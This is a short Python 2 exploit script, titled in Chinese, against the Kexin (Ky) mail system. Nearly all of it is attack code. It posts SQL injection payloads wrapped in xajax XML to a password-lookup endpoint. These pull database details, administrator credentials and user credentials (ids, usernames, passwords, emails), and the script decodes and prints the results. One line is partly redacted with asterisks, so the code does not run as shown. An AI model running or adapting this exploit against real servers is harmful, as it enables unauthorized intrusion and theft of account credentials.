科信邮件系统漏洞注入文件任意下载等小集

#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 #Author:Tea
 #Date:2014/05/21
 #Ky Mail Sql Injection Exp
 import re
 import sys
 import base64
 import urllib
 import httplib
 
 
 def sendhttp(Url, Sobject):
     RequestUrl = '/prog/get_passwd.server.php'
     Rex = **.**.**.**pile('/w+=*(?=/"/;)')
     data = urllib.urlencode(Sobject).replace('+', '%20')
     headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml,application/xml"}
     conn = httplib.HTTPConnection(Url)
     conn.request('POST', RequestUrl, data, headers)
     HttpOpen = conn.getresponse()
     info = base64.b64decode(str(Rex.findall(HttpOpen.read())))
     HttpOpen.close()
     return info
 
 def Get_Info(Urls ):
     Info = [
         '<xjxobj><e><k>setup</k><v>S1</v></e><e><k>user</k><v>S<![CDATA[/' or 1=1 and 1=2 Union select user()#]]></v></e></xjxobj>',
         '<xjxobj><e><k>setup</k><v>S1</v></e><e><k>user</k><v>S<![CDATA[/' or 1=1 and 1=2 Union select database()#]]></v></e></xjxobj>',
         '<xjxobj><e><k>setup</k><v>S1</v></e><e><k>user</k><v>S<![CDATA[/' or 1=1 and 1=2 Union select version()#]]></v></e></xjxobj>',
         '<xjxobj><e><k>setup</k><v>S1</v></e><e><k>user</k><v>S<![CDATA[/' or 1=1 and 1=2 Union select @@datadir#]]></v></e></xjxobj>',
         '<xjxobj><e><k>setup</k><v>S1</v></e><e><k>user</k><v>S<![CDATA[/' or 1=1 and 1=2 Union select concat(sys_id,0x3a,sys_user,0x3a,sys_pass) from system_user limit 0,1#]]></v></e></xjxobj>,',
         '<xjxobj><e><k>setup</k><v>S1</v></e><e><k>user</k><v>S<![CDATA[/' or 1=1 and 1=2 Union select concat(id,0x3a,uid,0x3a,passwd,0x3a,email) from user limit 0,1#]]></v></e></xjxobj>'
     ]
     Result = []
     for i in xrange(len(Info)):
         Urlpars = {
             'xjxfun' : 'DoOperate',
             'xjxargs[]' : Info[i]
         }
         Result.append(sendhttp(Urls, Urlpars))
     return Result
 
 def main():
     if len(sys.argv) != 2:
         print 'Use: %s **.**.**.**' % sys.argv[0]
         sys.exit()
     Vurl = sys.argv[1]
     print 'Author:Tea'
     print '-------------------------------------------------------------------------------'
     Info = Get_Info(Vurl)
     for i in range(len(Info)):
         print 'Info: %s' % Info[i]
 
 if __name__ == '__main__':
     main()